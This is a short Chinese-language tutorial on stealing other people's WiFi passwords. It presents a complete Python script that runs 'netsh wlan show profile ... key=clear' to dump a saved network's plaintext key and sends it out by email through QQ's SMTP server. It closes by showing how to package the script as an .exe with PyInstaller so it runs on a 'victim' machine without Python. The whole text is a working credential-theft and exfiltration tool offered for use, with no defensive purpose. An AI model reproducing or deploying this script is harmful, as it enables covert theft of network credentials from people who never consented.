获取他人WiFi密码
使用的工具
就是使用了python语言,利用里面的os库和smptlib。
代码
1 import os 2 import smtplib 3 from email.mime.text import MIMEText 4 5 6 def get_pwd(): 7 wifi = "\"404 NOT FOUND\"" 8 cmd = "netsh wlan show profile name=" + wifi + " key=clear" # 设置cmd命令 9 res = os.popen(cmd) # 获取cmd命令的输出 10 out_str = res.read() # 读取输出 11 return out_str 12 13 14 def send(): 15 mail_host = "smtp.qq.com" 16 port = 465 17 send_from = "@qq.com" # 发件人邮箱 18 pass_word = "" # 开启SMPT服务时,邮箱给的授权码 19 send_to = "@qq.com" # 收件人邮箱 20 wifi_pwd = get_pwd() 21 message = MIMEText(wifi_pwd, 'plain', 'utf-8') 22 message["From"] = send_from 23 message['To'] = send_to 24 message['Subject'] = "wifi_pws" 25 try: 26 # 注意第三个参数,设置了转码的格式(我不设的时候会报解码错误) 27 smpt = smtplib.SMTP_SSL(mail_host, port, 'utf-8') 28 smpt.login(send_from, pass_word) 29 smpt.sendmail(send_from, send_to, message.as_string()) 30 print("发送成功") 31 except: 32 print("发送失败") 33 34 35 send()
一些小提升
如果受害者电脑不支持跑python这么办呢?我们可以将python文件打包成exe。所以接下来讲怎么把python文件转为exe。
首先,安装必备的库:pyinstaller。
接着转到python文件目录。
最后使用 pyinstall -F 文件名.py
运行成功后,就可以在dist文件中找到你的exe文件了